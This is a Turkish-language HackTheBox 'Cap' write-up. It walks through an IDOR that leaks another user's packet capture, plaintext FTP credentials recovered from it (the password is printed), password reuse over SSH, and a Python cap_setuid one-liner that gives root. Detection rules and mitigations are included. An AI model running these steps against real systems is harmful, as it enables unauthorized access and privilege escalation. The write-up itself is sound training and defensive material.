HackTheBox Cap Writeup

HTB Starting Point Cap makinesi: /data/0 IDOR ile başka kullanıcının PCAP'i, FTP düz metin şifre, SSH şifre tekrarı ve cap_setuid ile root.

8 dk okuma
ibrahimsql
1.580 kelime

HackTheBox Cap Writeup#

HTB Starting Point makinelerinden Cap. Bir "Security Dashboard" var, URL'sinde küçük bir sayı: /data/1. Onu 0'a çevirince başka birinin trafik kaydı önüme düşüyor. PCAP'in içinde FTP'nin düz metin gönderdiği kullanıcı adı ve şifre, aynı şifre SSH için de geçiyor. Root'a çıkış ise Python'un üstündeki bir Linux capability ile.

Bu writeup'ta sadece adımları sıralamıyorum; her adımın neden işe yaradığını, gerçek bir ortamda nasıl tespit edileceğini ve nasıl engelleneceğini de anlatıyorum. Amaç tek seferlik bayrak almak değil, aynı dört zafiyetin bir kurumda nasıl yan yana durduğunu görmek.

Threat Model: Dört Kapı#

Cap makinesini dört ayrı kapı olarak düşünmek işe yarar:

+------------------+ +------------------+ +------------------+ | 1. Web kapısı | ---> | 2. Veri kapısı | ---> | 3. SSH kapısı | | IDOR: /data/0 | | PCAP sızıntısı | | Şifre tekrarı | +------------------+ +------------------+ +------------------+ | v +------------------+ | 4. Yetki kapısı | | cap_setuid root | +------------------+

Dörtlü bir zincir: webdeki yanlış yetki kontrolü (1) trafik kaydını sızdırıyor (2), sızdırılan FTP şifresi SSH'ta tekrar kullanıldığı için kullanıcı oturumu veriyor (3), Python binary'sindeki yanlış capability de root'a çıkarıyor (4). Zincirin tek halkası koparılsa root imkansız; ama her halka tek başına da gerçek dünyada bulunan bir hatadır.

Trust Boundaries#

Bu makinede üç güven sınırı var:

  1. Tarayıcı ve sunucu arası: kullanıcı kendi /data/1 kaydını görmeli, başkasınınkini görmemeli. Bu sınır IDOR ile kalkıyor.
  2. Ağ düzlemi: FTP istemcisi ile sunucu arası hesap dinlemekte olan herkes okur. Bu sınır FTP yerine TLS'li protokol konsaydı kapanırdı.
  3. Kullanıcı ve root arası: nathan kullanıcısı Python'u çalıştırabilir ama setuid(0) çağıramamalı. Capability cap_setuid bu sınırı kaldırıyor.
[internet] --HTTPS?--> [nginx/gunicorn] --unix--> [app] | /data/{id} <-- güven sınırı 1 (sahiplik kontrolü yok) | [pcap dosya] | [FTP USER/PASS] <-- güven sınırı 2 (düz metin) | ssh nathan <-- güven sınırı 3 (cap_setuid)

1. Keşif: Nmap#

nmap -Pn -sV -sC -T4 --top-ports 1000 10.129.61.255

Tipik çıktı:

PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 80/tcp open http gunicorn

Üç port, üç bilgi: FTP düz metin riski taşır, SSH tekrar kullanılacak şifrenin kapısı olabilir, 80 portunda ise web uygulaması var. İlk merak her zaman 80.

Alt dizin taraması da faydalı olur çünkü endpoint isimleri ipucu verir:

ffuf -u http://10.129.61.255/FUZZ -w common.txt -mc 200,301,302 # /data/1 [200] # /security/dashboard [200]

2. Web: Dashboard#

Sol menüde "Security Snapshot" linki. Tıklayınca URL /data/1. Sayfada ağ capture'ı ve Download butonu. Kendi capture'ını indirip tshark ile aç:

tshark -r capture1.pcap -Y "http" -T fields -e http.request.uri | head

İçerikte kendi dashboard trafiğinden başka bir şey yok. Bu, veri akışının gerçek olduğunu ve capture'ların dosya olarak saklandığını doğrular. Sıradaki soru: dosya başkalarına da açık mı?

3. IDOR: /data/0#

Sıralı ID söz konusu olduğunda ilk deneme her zaman komşu kayıt:

GET /data/1 -> 200, kendi pcap GET /data/0 -> 200, başka birinin pcap GET /download/0 -> 200, pcap dosyası

Sunucu "bu sayfa sana mı ait" diye hiç sormuyor. Buna IDOR (Insecure Direct Object Reference) deniyor: nesneye doğrudan erişim var, yetkilendirme yok.

Kavramsal olarak sunucu şu kontrolü yapmıyor:

def get_snapshot(uid, snapshot_id): snap = db.get(snapshot_id) if snap.owner_id != uid: # BU SATIR YOK abort(403) return snap

Olması gereken kontrol tam olarak o. Ayrıca tahmin edilebilir ID yerine snapshot_id = secrets.token_urlsafe(16) gibi rastgele değer kullanmak yüzeyi daraltır ama tek başına yetmez.

IDOR'un tespiti#

Gerçekçi tespit, tek satırlık alarmdan çok iki kullanıcılı testtir: A hesabıyla B hesabının kaynağına istek at, 200 dönüyorsa bulgu. CI'da bunu otomatikleştiren örnek bir akış:

1. user_a ile /data/1 oluştur 2. user_b token'i ile /data/1 iste 3. HTTP 403 beklenir; 200 dönüyorsa IDOR

Uygulama tarafında GET /data/{id} erişimleri için iki satır kayıt (isteyen uid, kaynak owner_id) tutulursa alarm eşleştirmesi basittir.

4. PCAP ve FTP#

İndirilen capture0.pcap içinde credentials arıyorum. FTP 1971'den beri düz metin çalışır; hiçbir şifreleme katmanı yoktur:

tshark -r capture0.pcap -Y "ftp" -T fields \ -e ftp.request.command -e ftp.request.arg
USER nathan PASS Buck3tH4TF0RM3!

Alternatif olarak tek satırda:

strings capture0.pcap | grep -E "USER|PASS" grep -a -o "USER [^ ]*\|PASS [^ ]*" capture0.pcap | head

sızdırılan hassas bilginin hangi protokollerde açık metin aktığına dair bilinen liste:

ProtokolTaşıdığı sırDüz metin miGüvenli alternatif
FTPUSER/PASSEvetSFTP, FTPS
HTTPAuthorization, cookieEvetHTTPS
Telnettüm oturumEvetSSH
SMTP (587 öncesi)AUTHEvetSubmission + STARTTLS
HTTP kapalı tünel (VPN)iç trafikHayır sayılırTLS

Tespit#

Bir ağda 21. portta düzenli USER/PASS akışı IDS için yüksek sinyaldir. Suricata ile basit bir kural:

alert tcp any any -> any 21 (msg:"FTP cleartext credentials"; content:"PASS"; nocase; sid:1000001;)

5. SSH ile İçeri#

Şifre tekrarı insan davranışının değişmeyen parçasıdır. Aynı şifreyi SSH'ta deniyorum:

ssh nathan@10.129.61.255 # Buck3tH4TF0RM3! nathan@cap:~$ cat ~/user.txt

Ayrıca kurtarılan bir parola ile hydra veya medusa önerilmez; Starting Point kapsamında makine sahibinin makinede olduğunu varsay, ama gerçek bir ortamda böyle bir deneme hesap kilitleme kurallarına takılır.

Şifre tekrarını önlemenin yolları: parola yöneticisi zorunluluğu, 2FA, SSO ve sunucu tarafında "son N parolayı reddet" politikası.

Tespit#

Fail2ban ve auth.log üzerinden: aynı IP'den 5 dakikada 5 başarısız SSH, ardından bir başarılı oturum şüpheli bir örüntüdür. EDR'de "yeni kullanıcı ile yeni makinede açılan ilk oturum" da iyi bir alarmdır.

6. Root: cap_setuid#

Makinede nathan listede sudo -l çıktısı boş dönüyor, SUID bitli ilginç dosya yok. Üçüncü kapı: Linux capabilities. Bir programın ihtiyaç duyduğu yetkiyi root'un tamamını vermeden tanımlama fikri doğru, ama yanlış yapılandırılırsa eskalasyon kapısı olur.

getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

cap_setuid Python'a şunu söyler: setuid(0) çağırabilirsin. Yani nathan'ın kullanacağı Python, kendini root'a dönüştürebilir:

python3.8 -c "import os; os.setuid(0); os.system('id; cat /root/root.txt')"
uid=0(root) gid=1001(nathan) groups=1001(nathan)

os.setuid(0) süreci kalıcı olarak root yapar; os.system ile çalıştırılan komut root yetkisiyle koşar. id çıktısında euid değil doğrudan uid=0 görünmesi, kalıcı tanımlandığını gösterir.

Tehlikeli capability listesi#

CapabilityNeden tehlikeli
cap_setuid / cap_setgidkullanıcıya geçip root olabilirsin
cap_dac_read_searchdosya izinlerini atla
cap_sys_ptracebaşka sürecin belleğini oku
cap_sys_adminneredeyse root eşdeğeri
cap_net_rawpacket crafting, ARP spoof
cap_net_bind_servicedüşük port bağla (tek başına düşük risk)

Tespit#

Düzenli envanter:

getcap -r / 2>/dev/null | tee /var/log/cap-audit-$(date +%F).log

Bu çıktının beklenmeyen değişimi (yeni binary eklenmesi, mevcut binary'de capability artışı) alarm seviyesinde olaydır. Tripwire/AIDE tarzı bütünlük araçlarına getcap çıktısı eklenebilir. Ayrıca capsh --print ile bir sürecin efektif set'i görüntülenebilir.

7. Version Differences: Capability Mekanizması#

  • Linux 2.2 ve öncesi: tüm ayrıcalıklar root'a paket; SUID dışında granüler yetki yok.
  • Linux 2.6+ (capability eklenmesi): setuid gibi büyük bloklar capability'lere bölündü. cap_setuid o tarihte deneyseldi.
  • Linux 3.+: no_new_privs biti, securebits ve bounding set eklendi. capsh --bounding-set ile bir sürecin edinebileceği maksimum capability listesi kısıtlanabilir.
  • Linux 5.+: CAP_CHECKPOINT_RESTORE gibi yeni capability'ler geldi; cap_perfmon, cap_bpf ayrıldı. Eski tek CAP_SYS_ADMIN üzerinden verilen yetki artık daha bölünmüş.
  • Docker vb.: konteyner varsayılan bounding set'i 14 capability içerir ve cap_setuid genelde açıktır; --cap-drop=ALL --cap-add=NET_BIND_SERVICE kalıbı bugün iyi pratiktir.

Bu makinedeki Python 3.8 ikilisi, paket bağımlılığıyla gelen beklenmedik bir ikililiğe (base image'da python3.8, kullanıcıda python3) dayanıyor. Sürüm farklarını envanterde görmek için:

ls -la /usr/bin/python* /usr/local/bin/python* dpkg -S /usr/bin/python3.8

8. Mitigation: Dört Halka da Kapatılmalı#

IDOR için:

  • Her nesne erişiminde sahiplik kontrolü: snap.owner_id == current_user.id, aksi halde 403.
  • Tahmin edilemeyen ID (secrets.token_urlsafe(16)), fakat tek başına yeterli sayılmaz.
  • Merkezi authz guard: route dekoratörü veya middleware ile tek yerden uygulama.

FTP için:

  • Servisi kapat; yerine SFTP (OpenSSH, port 22) veya HTTPS üzerinden aktarım kullan.
  • PCAP ve log arşivlerini public dizinde tutma; saklama süresi ve erişim log'u tanımla.

Şifre tekrarı için:

  • Parola yöneticisi ve benzersiz parola; kritik hesaplarda donanım destekli 2FA.
  • SSH için parola yerine anahtar + PasswordAuthentication no + fail2ban.

Capability için:

  • cap_setuid gibi yüksek riskli capability'leri hiçbir binary'e kalıcı verme.
  • Paket kurulumundan sonra getcap -r / taraması; beklenmeyen satırı diff ile yakalama.
  • Servislerde systemd ile AmbientCapabilities=, CapabilityBoundingSet= satırlarını boş/asgari tut.

9. ASCII Attack Chain Özeti#

[Dashboard] --/data/0 IDOR--> [capture0.pcap] | tshark / strings v USER nathan / PASS x | ssh nathan@target v nathan@cap:~$ | getcap -> python3.8=cap_setuid v python3.8 -c 'os.setuid(0); ...' v root# cap

10. Geriye Bakınca#

Her adımın bir "neden"i vardı: web'e ilk baktım çünkü web uygulamaları zayıf halkadır; /data/0'u denedim çünkü sıralı ID her zaman şüphe uyandırır; FTP'de şifre aradım çünkü düz metindir; SSH'ta aynı şifreyi denedim çünkü tekrar kullanılır; getcap baktım çünkü sudo ve SUID yoksa capabilities üçüncü kapıdır.

Nmap → Web kesfi → IDOR (/data/0) → PCAP + FTP → SSH → cap_setuid → ROOT

Savunma Özeti#

  • FTP kullanıyorsan kapısını kapat: düz metin ve kimlik bilgisi açık şekilde ağda dolaşır; SFTP (port 22) veya HTTPS üzerinden dağıt.
  • PCAP dosyaları günlük bir arşiv gibi açık paylaşımda saklanmaz; URL'de sıralı ID kullanıyorsan IDOR'a karşı sahiplik kontrolü zorunlu.
  • Linux capabilities principle-of-least-privilege ile ver; cap_setuid gibi yüksek sinyalli capability'leri hiçbir binary'de tutma. Paket kurulumu sonrası getcap -r / ile düzenli tarama yap.
  • Zinciri düşün: tek bir sshd_config satırı, tek bir authz kontrolü veya tek bir getcap diff'i bu zincirin tamamını kırar. Savunma derinliği her halkaya ayrı kontrol koymaktır.
---
Bu yazıyı paylaş:
TwitterLinkedInFacebook

Ne düşünüyorsun?

Tepki bırakarak geri bildirim ver

İlgili Yazılar